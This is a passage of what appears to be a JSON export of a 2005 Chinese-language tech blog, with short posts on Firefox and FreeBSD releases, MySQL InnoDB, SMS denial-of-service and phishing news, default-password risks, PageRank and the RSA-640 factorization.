:X</blockquote>\r\n以這種水準來說，看起來的確是這樣啊...",
    "title": "Google Reader"
  },
  {
    "id": "149",
    "body": "<a href=\"http://www.schneier.com/blog/\" rel=\"tag\">Bruce Schneier</a> 提到了這篇 <a href=\"http://www.schneier.com/blog/archives/2005/10/sms_denialofser_1.html\">SMS Denial-of-Service Attack</a>。\r\n\r\n他所引用的 <a href=\"http://www.smsanalysis.org/smsanalysis.pdf\">Exploiting Open Functionality in SMS-Capable Cellular Networks</a> (PDF) 猜測，在曼哈頓地區以每秒 165 msgs 的速度送出，就足以塞滿網路使得 voice 的部分擠不進來。\r\n\r\n毫無疑問的，這又成為恐怖攻擊的目標... @_@",
    "title": "SMS DoS"
  },
  {
    "id": "150",
    "body": "在 <a href=\"http://www.mozillazine.org/\" rel=\"tag\">mozillaZine</a> 看到的消息：<a href=\"http://www.mozillazine.org/talkback.html?article=7501\" rel=\"tag\">Mozilla Firefox 1.5 Beta 2 Released</a>，等下下載回來裝看看...\r\n\r\n在 <a href=\"http://www.squarefree.com/burningedge/releases/1.5b2.html\">Unofficial Firefox 1.5 Beta 2 changelog</a> 這頁列出了 Beta 1 到 Beta 2 所修改/新增的項目，看了一下似乎沒什麼特別的...\r\n\r\n在 <a href=\"http://www.mozilla.org/projects/firefox/\" rel=\"tag\">Mozilla Firefox Project</a> 這頁可以下載 1.5 Beta 2。",
    "title": "Mozilla Firefox 1.5 Beta 2"
  },
  {
    "id": "151",
    "body": "前幾天就有不少媒體報導 <a href=\"http://www.innodb.com/\" rel=\"tag\">Innobase</a> 被 <a href=\"http://www.oracle.com/\" rel=\"tag\">Oracle</a> 買下來，我只是覺得 <a href=\"http://www.innodb.com/\" rel=\"tag\">Innobase</a> 這家公司好像很熟，可是幹嘛跟 <a href=\"http://www.mysql.com/\" rel=\"tag\">MySQL</a> 做比較 XD (其實我沒有仔細看，前幾天忙跳槽的事情，很多東西看個標題而已...)\r\n\r\n直到看了 <a href=\"http://jeremy.zawodny.com/blog/\" rel=\"tag\">Jeremy Zawodny</a> 這篇 <a href=\"http://jeremy.zawodny.com/blog/archives/005490.html\">Oracle buys Innobase. MySQL between rock and hard place?</a> 後，我才突然把 <a href=\"http://www.innodb.com/\" rel=\"tag\">Innobase</a> 與 MySQL InnoDB 的關連想起來 XD\r\n\r\n然後我才馬上理解 <a href=\"http://www.innodb.com/\" rel=\"tag\">Innobase</a> 被 <a href=\"http://www.oracle.com/\" rel=\"tag\">Oracle</a> 買走之後對 <a href=\"http://www.mysql.com/\" rel=\"tag\">MySQL</a> 的影響... row-level locking + transaction 啊~~~",
    "title": "MySQL InnoDB"
  },
  {
    "id": "152",
    "body": "<a href=\"http://en.wikipedia.org/wiki/Robert_Scoble\" rel=\"tag\">Robert Scoble</a> (如果你不知道他是誰，在 <a href=\"http://en.wikipedia.org/\" rel=\"tag\">Wikipedia</a> 上面有些說明，很簡單的解釋：他是 <a href=\"http://www.microsoft.com/\" rel=\"tag\">Microsoft</a> 的招牌 Blogger) 把 Blog 從 <a href=\"http://www.weblogs.com/\" rel=\"tag\">Weblogs</a> (原來在 <a href=\"http://scoble.weblogs.com/\">http://scoble.weblogs.com/</a>) 跳槽到 <a href=\"http://wordpress.com/\" rel=\"tag\">WordPress.com</a> (在 <a href=\"http://scobleizer.wordpress.com/\">http://scobleizer.wordpress.com/</a>)：<a href=\"http://scobleizer.wordpress.com/2005/10/13/time-to-switch-to-wordpress/\">Time to switch to WordPress</a>。\r\n\r\n看文章內所說的內容，他好像抱怨原來的 comment 功能常常爛掉，於是大家轉用 mail 跟他討論，害他覺得很 !@#$%^... :p\r\n\r\n<strong>2005/10/15 Update</strong>：看起來他的 theme 是特製的，跟原來的 blog 很像啊 :p 果然是長輩才有的待遇...\r\n\r\n<strong>2005/10/18 Update</strong>：結果有人跑出來問他怎麼換 Theme XD\r\n<blockquote>Hey Robert,\r\nOn an off topic, how did you edit your theme or which one are you using? It doesn’t look like any of the standard ones that I have access too?\r\n\r\nTIA\r\nMolly</blockquote>\r\n以及：\r\n<blockquote>Hi, I like your template. But how to activate or upload your template? thanks & regards, zhaol</blockquote>",
    "title": "Robert Scoble to WordPress.com"
  },
  {
    "id": "153",
    "body": "在 <a href=\"http://www.mozillazine.org/\" rel=\"tag\">mozillaZine</a> 看到 <a href=\"http://www.mozilla.org/projects/firefox/\" rel=\"tag\">Firefox</a> 1.5 RC1 預定在 10/28 出爐的消息：<a href=\"http://www.mozillazine.org/talkback.html?article=7536\">Mozilla Firefox 1.5 Release Candidate 1 Set for 28th October</a>。\r\n\r\n原文在 <a href=\"http://developer.mozilla.org/devnews/index.php/2005/10/13/firefoxthunderbird-15rc1-and-gecko-18rc1-are-quickly-approaching/\">Firefox/Thunderbird 1.5rc1 and Gecko 1.8rc1 are quickly approaching</a> 這裡。",
    "title": "Firefox 1.5 RC1 預定時程"
  },
  {
    "id": "154",
    "body": "前幾天重灌實驗室電腦時，發現 <a href=\"http://www.vim.org/\" rel=\"tag\">Vim</a> 已經出到 6.4 Beta，結果沒幾天就在 <a href=\"http://slashdot.org/\" rel=\"tag\">Slashdot</a> 上看到 6.4 發行： <a href=\"http://developers.slashdot.org/article.pl?sid=05/10/16/235216\">Vim 6.4 Released</a>。\r\n\r\n不過... <a href=\"http://www.vim.org/\" rel=\"tag\">Vim</a> 的進階功能用的不多啊 :~",
    "title": "Vim 6.4"
  },
  {
    "id": "155",
    "body": "在 <a href=\"http://www.boingboing.net/\" rel=\"tag\">Boing Boing</a> 看到超搞笑的東西：<a href=\"http://www.boingboing.net/2005/10/16/automatic_abusive_la.html\">Automatic abusive language detector for EULAs</a>。\r\n\r\n<a href=\"http://www.javacoolsoftware.com/eulalyzer.html\" rel=\"tag\">EULAlyzer</a> 會分析 EULA 裡面「有趣的部分」，然後將「有趣的部分」標示出來提醒使用者。如果覺得好用的話還可以花 USD$19.95/year 購買 <a href=\"http://www.javacoolsoftware.com/eulalyzerpro.html\" rel=\"tag\">EULAlyzer Pro</a> XD",
    "title": "EULAlyzer"
  },
  {
    "id": "156",
    "body": "剛剛看到 <a href=\"http://ft3.sourceforge.net/\">FT3: a full text indexer and search engine</a> 這個東西，很明顯是個以 <a href=\"http://www.sqlite.org/\" rel=\"tag\">SQLite</a> 為後端資料庫惡搞出來的軟體，用最簡單的方法將所有的字切開，塞到 Database 裡，當需要查詢的時候暴力法用 SELECT 硬幹出來 :p\r\n\r\n我還是用 <a href=\"http://www.mediawiki.org/\" rel=\"tag\">MediaWiki</a> 來管理文件資料好了，至少不用自己套用這類東西寫搜尋的程式碼 XD",
    "title": "FT3: a full text indexer and search engine"
  },
  {
    "id": "157",
    "body": "這陣子發現 Firefox 看 <a href=\"http://en.wikipedia.org/\" rel=\"tag\">Wikipedia</a> 的圖片老是出不來，按 Reload 按半天也沒用，本來一直以為是 1.5 Beta 1 的關係，可是到了 Beta 2 還是一樣，我就在想是不是我的問題... 只是想半天也想不出來。\r\n\r\n剛剛突然想到是不是在 <a href=\"http://adblock.mozdev.org/\" rel=\"tag\">Adblock</a> 裡不小心設的太寬，於是誤擋了 <a href=\"http://en.wikipedia.org/\" rel=\"tag\">Wikipedia</a> 的圖片，結果發現某些圖片被擋，像是 <a href=\"http://en.wikipedia.org/wiki/Nineteen_Eighty-Four\" rel=\"tag\">Nineteen Eighty-Four</a> 這條裡右邊的圖，因為 url 是：\r\n<blockquote><code>http://upload.wikimedia.org/wikipedia/en/thumb/e/e9/...</code></blockquote>\r\n而我擋：\r\n<blockquote><code>ad.*</code></blockquote>\r\nokay，找到原因了，是因為 <code>uplo<strong>ad.</strong>wikimedia.org</code> 炸了 :p 改成 <code>http://ad.*</code> 果然就正常了 XD",
    "title": "Adblock"
  },
  {
    "id": "158",
    "body": "居然在 <a href=\"http://www.schneier.com/\" rel=\"tag\">Bruce Schneier</a> 的 <a href=\"http://www.schneier.com/blog/\" rel=\"tag\">blog</a> 上看到這個：<a href=\"http://www.schneier.com/blog/archives/2005/10/phishing_withou.html\">Phishing Without Computers</a>，裡面所引用的新聞是：<a href=\"http://www.chinadaily.com.cn/english/doc/2005-10/12/content_484196.htm\">Beijingers fall victim to SMS scam</a>。\r\n\r\n<a href=\"http://www.flickr.com/photos/gslin/53615722/\"><img src=\"http://static.flickr.com/27/53615722_3d9f5c6c34.jpg?v=0\" alt=\"\" /></a>\r\n\r\n啊，這類畫面好熟悉的呢 @_@",
    "title": "Phishing over SMS"
  },
  {
    "id": "159",
    "body": "在 <a href=\"http://www.boingboing.net/\" rel=\"tag\">Boing Boing</a> 上看到有人去翻 .com 的註冊資料 (我猜是 Whois)，把最早註冊的一百個 .com 列出來：<a href=\"http://www.boingboing.net/2005/10/18/100_oldest_com_names.html\">100 oldest .COM names in the registry</a>，引用的網址在 <a href=\"http://www.jottings.com/100-oldest-dot-com-domains.htm\">THE 100 OLDEST CURRENTLY-REGISTERED .COM DOMAINS</a> 這裡。\r\n\r\n看起來真慘烈，不是被買掉了就是 byebye 了 :p 不過 <a href=\"http://www.isc.com/\" rel=\"tag\">ISC.COM</a> 居然不是被 <a href=\"http://www.isc.org/\" rel=\"tag\">Internet Systems Consortium, Inc.</a> 註冊，呃...",
    "title": "一百個最早註冊的 .com"
  },
  {
    "id": "160",
    "body": "在 <a href=\"http://joi.ito.com/\" rel=\"tag\">Joi Ito</a> 的 blog 上看到的：<a href=\"http://joi.ito.com/archives/2005/10/20/microsoft_launches_open_source_licenses.html\">Microsoft launches open source licenses</a>，引用了 <a href=\"http://radar.oreilly.com/\" rel=\"tag\">Tim O'Reilly</a> 及 <a href=\"http://danesecooper.blogs.com/divablog/\" rel=\"tag\">Danese Cooper</a> 的文章。\r\n\r\n在阿姆斯特丹舉辦的 <a href=\"http://conferences.oreillynet.com/euroscon/\" rel=\"tag\">EuroOSCON</a> 上，<a href=\"http://www.microsoft.com/\" rel=\"tag\">Microsoft</a> 提出了五個新的 license (三個主 license 以及兩個「變型」)：<a href=\"http://www.microsoft.com/resources/sharedsource/licensingbasics/permissivelicense.mspx\" rel=\"tag\">Microsoft Permissive License</a> (及 <a href=\"http://www.microsoft.com/resources/sharedsource/licensingbasics/limitedpermissivelicense.mspx\" rel=\"tag\">Microsoft Limited Permissive License</a>)、<a href=\"http://www.microsoft.com/resources/sharedsource/licensingbasics/communitylicense.mspx\" rel=\"tag\">Microsoft Community License</a> (及 <a href=\"http://www.microsoft.com/resources/sharedsource/licensingbasics/limitedcommunitylicense.mspx\" rel=\"tag\">Microsoft Limited Community License</a>)、<a href=\"http://www.microsoft.com/resources/sharedsource/licensingbasics/referencelicense.mspx\" rel=\"tag\">Microsoft Reference License</a>。\r\n\r\n依照 <a href=\"http://radar.oreilly.com/\" rel=\"tag\">Tim O'Reilly</a> 的說法，第一種 license 接近於 BSD license (我猜測他所指的是 <a href=\"http://www.opensource.org/licenses/bsd-license.php\" rel=\"tag\">New BSD License</a>)，第二種接近 Mozilla Public License (有 <a href=\"http://www.opensource.org/licenses/mozilla1.0.php\" rel=\"tag\">1.0</a> 與 <a href=\"http://www.opensource.org/licenses/mozilla1.1.php\" rel=\"tag\">1.1</a>)，而最後面一種則是只能看不准動的 license：\r\n<blockquote>The permissive license is most like the BSD license; the community license is most like the Mozilla license; and the reference license is a \"look but don't touch\" license. The permissive and community licenses have variations that limit source distribution to the Windows platform. </blockquote>\r\n而且他看過 non-limited license (應該是指前兩個 license) 之後，他覺得很有機會通過 <a href=\"http://www.opensource.org/\" rel=\"tag\">OSI</a> 確認為 Open Source License。(也就是符合 <a href=\"http://www.opensource.org/docs/definition.php\" rel=\"tag\">The Open Source Definition</a>)",
    "title": "Microsoft 所提出的 Open Source License"
  },
  {
    "id": "161",
    "body": "這陣子到處在推 Wiki 做文件管理，發現真正能用的 Wiki Software 只有 <a href=\"http://mediawiki.sourceforge.net/\" rel=\"tag\">MediaWiki</a>，這大概是因為實際上遇過那麼大的規模 (<a href=\"http://en.wikipedia.org/\" rel=\"tag\">Wikipedia</a>) 才知道哪邊要做最佳化 :p\r\n\r\n在安裝的時候看到可以使用 <a href=\"http://www.danga.com/memcached/\" rel=\"tag\">memcached</a> 存放 Cache，只是沒有仔細去看是存什麼，可能是放 MySQL query result 或是把編譯好的頁面存起來 (節省 Wiki Formatting -&gt html 的時間)。",
    "title": "到處推 Wiki..."
  },
  {
    "id": "162",
    "body": "本來一直要寫在 Blog 上的，不過這件事情到剛剛才算有個結果。(弄了一個多月...)\r\n\r\n先強迫自己先在 Blog 上提出來，這樣才會有壓力去寫... 圖片在 <a href=\"http://www.flickr.com/\" rel=\"tag\">Flickr</a> 上有放：<a href=\"http://www.flickr.com/photos/gslin/sets/1091136/\">7-11 便當外蓋問題 (2005/10/04)</a> 這裡，然後我再說 <a href=\"http://www.7-11.com.tw/\" rel=\"tag\">7-11</a> 處理過程的問題。\r\n\r\n然後有兩段錄音檔，一段是跟門市的對話，另外一段是剛剛跟業務主管、門市的對話。前者的雜音很大，後者還沒轉檔，不過是在比較安靜的角落講，所以效果應該會比較好。晚點會放上來。",
    "title": "7-11 便當塑膠外蓋問題"
  },
  {
    "id": "163",
    "body": "<a href=\"http://www.flock.com/\" rel=\"tag\">Flock</a> 出版了，將常見的一些 Social Service 整合進 <a href=\"http://www.mozilla.org/projects/firefox/\" rel=\"tag\">Firefox</a> 再 release 出來：<a href=\"http://slashdot.org/article.pl?sid=05/10/21/0230209\">Firefox-based Social Browser Flock Launches</a>。\r\n\r\n但實際上的情況是，原來的 Firefox extensions 大多數都不能用了... =_=\r\n\r\n我可能會去玩看看 <a href=\"http://getoutfoxed.com/\" rel=\"tag\">Outfoxed</a>，這是透過德國的 <a href=\"http://www.uos.de/\" rel=\"tag\">University of Osnabrück</a> 所發展的 \"Trusted Metadata Distribution Using Social Networks\" 理論，做到這些事情：\r\n<ul>\r\n\t<li><a href=\"http://getoutfoxed.com/node/46\">True personalized searching</a></li>\r\n\t<li><a href=\"http://getoutfoxed.com/about/spyware\">Phishing & spyware protection</a></li>\r\n\t<li><a href=\"http://getoutfoxed.com/node/73\">Socially aware surfing</a></li>\r\n\t<li><a href=\"http://getoutfoxed.com/node/74\">Discovery of good stuff</a></li>\r\n</ul>\r\n更重要的是，他只是一個 open source extension，如果你覺得不好用的話你很容易修改，不用像 <a href=\"http://www.flock.com/\" rel=\"tag\">Flock</a> 一樣直接去改 Software Source :)\r\n\r\n我晚點會把使用的心得寫一寫吧？:p\r\n\r\n<strong>2005/10/23 Update</strong>：這個 extension 常爛掉 XD",
    "title": "Flock"
  },
  {
    "id": "164",
    "body": "在 <a href=\"http://slashdot.org/\" rel=\"tag\">Slashdot</a> 上報導了加州某所學校因為預設老師的密碼所造成的資料洩漏問題：<a href=\"http://slashdot.org/article.pl?sid=05/10/21/1255256\">Generic Passwords Expose Student Data</a>。\r\n\r\n其實國內也有很多類似的鳥蛋問題，但是他們都會推卸責任給使用者 (在上面的新聞裡面就是教師)，認為這是使用者沒有修改密碼。\r\n\r\n但這是錯的 - 就如同 <a href=\"http://bb.nctu.edu.tw/\" rel=\"tag\">bb.nctu.edu.tw</a> 對於研究生帳號的預設密碼設計 - 預設密碼就是帳號名稱。在今天 Open Proxy 夠多，不可能擋得完的情況下，有心人甚至可以寫程式幫你把整個系統的密碼改光光...\r\n\r\n比較好的方法當然是透過實體認證 (學生證、身份證、...) 領取帳號與預設的亂數密碼。另外，在已經有某套可以信賴的認證基礎時，可以利用現有的認證架構提供服務...。",
    "title": "預設密碼的問題"
  },
  {
    "id": "165",
    "body": "昨天從 <a href=\"http://blake.yichi.org/\" rel=\"tag\">Blake 學長</a> 那邊得知 <a href=\"http://www.google.com/technology/\" rel=\"tag\">PageRank</a> 更新了，於是就把各幫眾的 <a href=\"http://www.google.com/technology/\" rel=\"tag\">PageRank</a> 抓出來玩：\r\n<blockquote>http://ashley.yichi.org/ has PageRank 4/10.\r\nhttp://ben.yichi.org/ has PageRank 0/10.\r\nhttp://blog.gslin.org/ has PageRank 5/10.\r\nhttp://blog.ijliao.info/ has PageRank 4/10.\r\nhttp://blog.yam.com/hrwang/ has PageRank 4/10.\r\nhttp://ccca.nctu.edu.tw/~hlb/articles/ has PageRank 6/10.\r\nhttp://gslin.org/ has PageRank 5/10.\r\nhttp://hlb.yichi.org/ has PageRank 4/10.\r\nhttp://pesty.yichi.org/ has PageRank 5/10.\r\nhttp://slzzp.blogspot.com/ has PageRank 3/10.\r\nhttp://slzzp.info/ has PageRank 4/10.\r\nhttp://wiki.yichi.org/ has PageRank 4/10.\r\nhttp://yeh.yichi.org/ has PageRank 4/10.</blockquote>\r\n看來大家用 link 拉來拉去還是很兇暴的啊... 我新的 <a href=\"http://blog.gslin.org/\" rel=\"tag\">blog.gslin.org</a> 也五分了，<a href=\"http://hlb.yichi.org/blog/\" rel=\"tag\">hlb</a> 的新 Blog 也四分了...\r\n\r\nbtw，昨天跟學長興起，用 <a href=\"http://www.google.com/\" rel=\"tag\">Google</a> 查了「<a href=\"http://www.google.com/search?q=Blog+%E8%A1%8C%E9%8A%B7\">Blog 行銷</a>」這個字，噗！(當場兩個人邊笑邊喊幹幹)",
    "title": "PageRank"
  },
  {
    "id": "167",
    "body": "趁著機器掛掉的時候偷閒，用了一下 <a href=\"http://rssor.utblog.com/\" rel=\"tag\">RSSor</a> 這個使用介面超像 <a href=\"http://del.icio.us/\" rel=\"tag\">del.icio.us</a> 的 Online RSS Aggregator。\r\n\r\n既然很像 <a href=\"http://del.icio.us/\" rel=\"tag\">del.icio.us</a>，介面是很清爽啦，可是如果丟了一堆 feed 進去，我實在不能想像要怎麼用 XD 你可以參考我的 RSSor 頁面：<a href=\"http://rssor.utblog.com/gslin\">RSSor /gslin</a>。看起來好像很多對不對？可是我只丟了六七個 feed，其中兩個是 <a href=\"http://slashdot.org/\" rel=\"tag\">Slashdot</a> 與 <a href=\"http://www.boingboing.net/\" rel=\"tag\">Boing Boing</a>... 如果我把 <a href=\"http://www.bloglines.com/\" rel=\"tag\">Bloglines</a> 上百個 feed 通通丟進去，那版面不就炸了 :p\r\n\r\n(也許應該試看看丟進去會怎樣？反正大不了「砍掉重練」？XD)",
    "title": "RSSor"
  },
  {
    "id": "168",
    "body": "<a href=\"http://www.flickr.com/photos/gslin/56291906/\"><img src=\"http://static.flickr.com/28/56291906_bf710e0f6a.jpg?v=0\" alt=\"\" style=\"float:left; margin: 0 1em 1em 0;\" /></a> 還記得一個月前寫的「<a href=\"/archives/2005/09/24/130/\">插座</a>」這篇嗎？引用自 <a href=\"http://www.gameimp.com/\" rel=\"tag\">南宮博士</a> 的文章「<a href=\"http://www.gameimp.com/archives/2005/09/24/590/\">[PnP]電源插座的歷史遺憾</a>」。\r\n\r\n但是有人嫌收束插座的時候很麻煩，很亂，而且並不是每個插頭都是大屁股，對吧 :p\r\n\r\n剛剛在 <a href=\"http://37signals.com/\" rel=\"tag\">37signals</a> 的 <a href=\"http://37signals.com/svn/\" rel=\"tag\">Signal vs. Noise</a> 看到更讚的解決方案：<a href=\"http://37signals.com/svn/archives2/360_electrical_great_design.php\">360 Electrical: Great design</a> XD\r\n\r\n原產品在 <a href=\"http://www.360electrical.com/\" rel=\"tag\">360 Electrical</a> 這裡，看起來也還沒上市？",
    "title": "插座"
  },
  {
    "id": "169",
    "body": "11/1 的時候來更新 <a href=\"http://www.mozilla.org/projects/firefox/\" rel=\"tag\">Mozilla Firefox</a> 吧：<a href=\"http://www.mozillazine.org/talkback.html?article=7610\">Mozilla Firefox 1.5 Release Candidate 1 Now Due on November 1st</a>。",
    "title": "Mozilla Firefox 1.5RC1：11/1"
  },
  {
    "id": "170",
    "body": "分好幾塊，一塊是必修課程的 (主要是 Network Programming 吃重)，一塊是老闆要我們看的 Elliptic Curve (要先看 Discrete Logarithm over Finite Field)，然後還有合併後系計中的幾個架構 (CMS、Mailing List、Ports)，還有 Firewall code 要寫 o_O\r\n\r\n因為等下要上 Seminar，所以我等下再修改這篇文章... XD (突然想到 7-11 的也還沒寫)",
    "title": "最近很忙"
  },
  {
    "id": "171",
    "body": "<a href=\"http://www.freebsd.org/\" rel=\"tag\">FreeBSD</a> 對於 FIFO (pipe) 不會設 POLLHUP 的問題：<a href=\"http://www.freebsd.org/cgi/query-pr.cgi?pr=kern/76144\">kern/76144: poll doesn't set POLLHUP when FIFO is closed</a> 以及 <a href=\"http://www.freebsd.org/cgi/query-pr.cgi?pr=kern/76525\">kern/76525 : select() hangs on EOF from named pipe (FIFO)</a>，bde (@freebsd.org) 在後面有出來解釋這個鳥蛋問題...\r\n\r\n看起來是不用奢望了 :p",
    "title": "FreeBSD 對於 FIFO 的 POLLHUP 問題"
  },
  {
    "id": "172",
    "body": "keso 這篇「<a href=\"http://blog.donews.com/keso/archive/2005/10/30/607800.aspx\">三言二拍：blog需要中文名吗？</a>」寫的很... 精闢！也許應該來想看看 \"<a href=\"http://wordpress.org/\" rel=\"tag\">WordPress</a>\" 要翻什麼好了...\r\n\r\nPS：這陣子看到某些中文書，再看到這篇講的內容，心中感觸很多啊 XD",
    "title": "中文翻譯"
  },
  {
    "id": "173",
    "body": "今天看到一堆超有趣的文章：\r\n<ul>\r\n\t<li>擦神燈擦一擦就擦出 <a href=\"http://blog.yam.com/balazoo/\" rel=\"tag\">明燈</a> 來了：<a href=\"http://hlb.yichi.org/blog/2005/10/29/24#comment-152\">誰在乎您的部落格值幾多錢？</a>(comment 的部分)、<a href=\"http://blog.yam.com/balazoo/archives/660857.html\">阿拉丁神燈</a>。</li>\r\n\t<li><a href=\"http://blog.ijliao.info/\" rel=\"tag\">國生三年才開始</a>：<a href=\"http://blog.yam.com/phanix/archives/662788.html\">[對話] 怎麼有人有這麼多時間寫blog？</a>、<a href=\"http://blog.yam.com/hrwang/archives/602248.html\">秋意上心頭</a>。</li>\r\n</ul>\r\n這比起我今天看 SA Demo 還好笑啊 XD",
    "title": "今天看到的文章"
  },
  {
    "id": "174",
    "body": "在 <a href=\"http://developer.mozilla.org/\" rel=\"tag\">Mozilla Developer News</a> 看到 <a href=\"http://developer.mozilla.org/devnews/index.php/2005/11/01/15rc1-and-15rc2-schedules/\">1.5RC1 and 1.5RC2 Schedules</a>，依照估計會在 11/11 (但是後面有一句 \"depending on the feedback from RC1\")，所以... :p\r\n\r\n1.5 用到現在很明顯可以感覺到比 1.0 快不少，不過可以用的 extension 就少很多了，還好 Adblock、Google Pagerank Status、Undoclosetab 這幾個有 patch 或是可以用硬幹的方式在 1.5 上跑...\r\n\r\nPS：之前沒發現可以用 Nightly Tester Tools 覆寫 Undoclosetab 的 maxVersion 時天天幹到翻，因為我常常不小心按到 Ctrl-W，然後就開始罵「!@#$%^」...",
    "title": "Mozilla Firefox 1.5RC1 與 RC2 的消息"
  },
  {
    "id": "175",
    "body": "<a href=\"http://taiwan.cnet.com/\" rel=\"tag\">Taiwan.CNET.com</a> 看到的：<a href=\"http://taiwan.cnet.com/news/comms/0,2000062978,20102212,00.htm\">.tw泛用型英文網名全面開放註冊</a>，不過我發現 tw 的 whois server 全死了？hmmm...",
    "title": "開放 .tw 申請"
  },
  {
    "id": "176",
    "body": "在 <a href=\"http://slashdot.org/\" rel=\"tag\">Slashdot</a> 上看到的消息：<a href=\"http://slashdot.org/article.pl?sid=05/11/05/1436226\">Google Paying for Firefox Installs</a>，在 <a href=\"http://www.google.com/support/adsense/bin/answer.py?answer=25889&topic=1449\">How much will I earn from referrals?</a> 這頁這樣寫：\r\n<blockquote>When a user you’ve referred to Firefox plus Google Toolbar runs Firefox for the first time, you’ll receive up to $1 in your account, depending on the user’s location.</blockquote>\r\n這種推廣的方式 (裝 <a href=\"http://toolbar.google.com/firefox/\" rel=\"tag\">Google Toolbar for Firefox</a>)，感覺怪怪的... 有些人也覺得「會不會是我會錯意」：<a href=\"http://weblogs.macromedia.com/jd/archives/2005/11/bloggers_bundle.cfm\">Bloggers bundle Firefox Toolbar</a>。\r\n\r\n另外一則新聞是前陣子 <a href=\"http://www.mozilla.org/projects/firefox/\" rel=\"tag\">Firefox</a> 佔有率超過 10% 了 (我懶得找新聞連結了)，Congratulation！(希望不要一直發 Security Patch :p)",
    "title": "Google 推廣 Firefox 的方法？"
  },
  {
    "id": "177",
    "body": "<a href=\"http://www.vmware.com/\" rel=\"tag\">vmware</a> 的 SCSI device 是模擬成 LSILogic 1030 Ultra4 Adapter (在 <a href=\"http://www.tw.freebsd.org/\" rel=\"tag\">FreeBSD</a> 上是 mpt0)，不過在 6.0 下我發現抓的到 mpt0 但抓不到 da0，於是去找了一下 mailing list，看看有沒有人有類似的情況...\r\n\r\n早在七月就有人 report 過了，只是一直沒有人去修，看起來不是很多人用 vmware 的 SCSI interface：<a href=\"http://www.freebsd.org/cgi/query-pr.cgi?pr=84040\">[mpt] 6.0-BETA1 mpt driver not working under VMware ESX 2.5.1</a>。\r\n\r\n不知道有沒有機會修好咧...",
    "title": "FreeBSD 6.0 裡 mpt0 (SCSI card on vmware) 的地雷"
  },
  {
    "id": "178",
    "body": "FreeBSD 6.0 一延再延，除了一開始 BETA 的時候不斷修正外，RC1 推出後大家等 RC2，拖了老半天，最後決定跳過 RC2，直接 release。但最後也是拖了好幾天才正式公告出來 (也就是 <a href=\"http://blog.ijliao.info/\" rel=\"tag\">ijliao</a> 的 <a href=\"http://blog.ijliao.info/archives/2005/11/05/1874/\">FreeBSD 6.0</a> 這篇，cvs tag 打下去好幾天卻沒有動靜)。\r\n\r\n正式的公告在 <a href=\"http://www.freebsd.org/releases/6.0R/announce.html\">FreeBSD 6.0-RELEASE Announcement</a>，除了 ftp 下載外，還可以透過 <a href=\"http://www.bittorrent.com/\" rel=\"tag\">Bittorrent</a> 下載。這也是第一個官方正式提供 <a href=\"http://www.bittorrent.com/\" rel=\"tag\">Bittorrent</a> 下載的版本：<a href=\"ftp://ftp.freebsd.org/pub/FreeBSD/torrents/\">Index of ftp://ftp.freebsd.org/pub/FreeBSD/torrents/</a>。\r\n\r\n(之前的版本屬於實驗性質：5.4 在 <a href=\"http://people.freebsd.org/~kensmith/5.4-torrent/\">Index of /~kensmith/5.4-torrent</a>、5.3 在 <a href=\"http://people.freebsd.org/~scottl/5.3-torrent/\">Index of /~scottl/5.3-torrent</a>、4.11 在 <a href=\"http://people.freebsd.org/~kensmith/4.11-torrent/\">Index of /~kensmith/4.11-torrent</a>)\r\n\r\n除了 /etc/rc.d/ 的大幅改變外，kernel 的幾項改變也很重要，像是 options SCHED_ULE 終於可以用了 (5.4 的 SCHED_ULE 還是不穩定)，而 options PREEMPTION (for kernel threading) 也在 GENERIC 出現了。另外 options CPU_ENABLE_SSE 也拔掉了，改由系統判斷是否可以使用 (如果真的不想使用 SSE，可以用 options CPU_DISABLE_SSE 強制關閉)。\r\n\r\n6.0 另外一個優點是穩定性變好了。之前 netnews 跑 5.4 遇到 UFS1 有問題必當，所以每次 panic 後一定要 fsck -y 從頭到尾掃過一次後才能開起來，或者 downgrade 到 5.3，但 5.3 fxp 的 link0 (download the microcode to the chip，man 4 fxp) 又不太穩定，偶而會當掉...\r\n\r\n在 Library 的部分，常用到的 gethostby*、getnet*、getproto*、getserv* 都 thread-safe 了。\r\n\r\n在 Application 的部分，portsnap 在系統內就有，不需要額外裝。pgrep 與 pkill 也內建進系統，可以用 pkill -U nobody 送 signal 15 給所有 nobody 的 process (以前是裝 <a href=\"http://www.freshports.org/sysutils/skill/\" rel=\"tag\">sysutils/skill</a> 來用)。最後一個，觀察很久的 WPA Supplicant 也進來了，所以...\r\n\r\nPS：雖然官方宣稱 5.3 可以升級到 6.0，不過實際上在升級時會遇到 include 的問題，我是從 5.3 升到 5.4 再跳到 6.0 的。",
    "title": "FreeBSD 6.0"
  },
  {
    "id": "179",
    "body": "<a href=\"http://2005.icos.org.tw/\" rel=\"tag\">ICOS 2005</a> 請 <a href=\"http://jeremy.zawodny.com/\" rel=\"tag\">Jeremy Zawodny</a> 講兩個 Session：11/10 星期四的 Open Source and yahoo -- \"Remix\" to meet the needs, Web 2.0 company 與 11/12 星期六的 High Performance MySQL，看主辦單位所排的時間，兩個 Session 都不太長。\r\n\r\n(<a href=\"http://hlb.yichi.org/blog/\" rel=\"tag\">hlb 太天位大長輩</a> 說他打算問 <a href=\"http://jeremy.zawodny.com/\" rel=\"tag\">Jeremy Zawodny</a> 什麼時候要升級到 Web 2.1？XD)\r\n\r\nPS：在他的 Blog 上也提到準備要飛來台灣了：<a href=\"http://jeremy.zawodny.com/blog/archives/005648.html\">Heading to Taiwan for ICOS 2005</a>。",
    "title": "Jeremy Zawodny (ICOS 2005)"
  },
  {
    "id": "180",
    "body": "在 <a href=\"http://mathworld.wolfram.com/\" rel=\"tag\">MathWorld</a> 看到的新聞：<a href=\"http://mathworld.wolfram.com/news/2005-11-08/rsa-640/\">RSA-640 Factored</a>。\r\n\r\n310 7418240490 0437213507 5003588856 7930037346 0228427275 4572016194 8823206440 5180815045 5634682967 1723286782 4379162728 3803341547 1073108501 9195485290 0733772482 2783525742 3864540146 9173660247 7652346609\r\n=\r\n1634733 6458092538 4844313388 3865090859 8417836700 3309231218 1110852389 3331001045 0815121211 8167511579\r\n*\r\n1900871 2816648221 1312685157 3935413975 4718967899 6851549366 6638539088 0271038021 0449895719 1261465571\r\n\r\nRSA-640 的因數分解跟上次 RSA-576 一樣是用 <a href=\"http://mathworld.wolfram.com/GeneralNumberFieldSieve.html\" rel=\"tag\">General Number Field Sieve</a> (GNFS)，這次的分解用了八十顆 Opteron 2.2GHz，共花了五個月的時間 (這不是指 CPU time，而是實際的時間)。\r\n\r\n原始的文章在這：<a href=\"http://www.crypto-world.com/announcements/rsa640.txt\">We have factored RSA640 by GNFS.</a>。",
    "title": "RSA-640 因數分解"
  },
  {
    "id": "181",
